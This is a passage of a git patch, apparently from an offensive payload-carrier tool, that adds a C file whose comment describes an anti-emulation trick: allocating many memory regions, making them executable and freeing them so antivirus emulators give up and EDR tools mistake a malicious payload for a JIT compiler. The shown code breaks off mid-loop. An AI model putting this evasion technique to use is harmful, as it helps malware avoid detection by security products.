From 85585e598e242c601c10857f6675931d3af2661a Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Mon, 10 Jun 2024 09:02:37 +0200 Subject: [PATCH] refactor: prepare antiemulation more modular --- .../carrier/antiemulation/sirallocalot.c | 47 +++++++++++++++++++ data/source/carrier/antiemulation/timeraw.c | 10 ++++ model/settings.py | 1 + phases/templater.py | 6 ++- 4 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 data/source/carrier/antiemulation/sirallocalot.c diff --git a/data/source/carrier/antiemulation/sirallocalot.c b/data/source/carrier/antiemulation/sirallocalot.c new file mode 100644 index 0000000..766bcee --- /dev/null +++ b/data/source/carrier/antiemulation/sirallocalot.c @@ -0,0 +1,47 @@ + +#define ALLOC_NUM 256 + + +/* This will allocate ALLOC_NUM RW memory regions, + set them to RX, and free them + + The idea is that the AV emulator will probably give up, either because + of used memory is above maximum, or amount of instructions, or + number of API calls, or time. + + It hopefully also makes the EDR think this program is doing some + kind of interpreter or JIT compilation, and not a malicious payload. +*/ + +void antiemulation() { + void* allocs[ALLOC_NUM]; + DWORD result; + + for(int n=0; n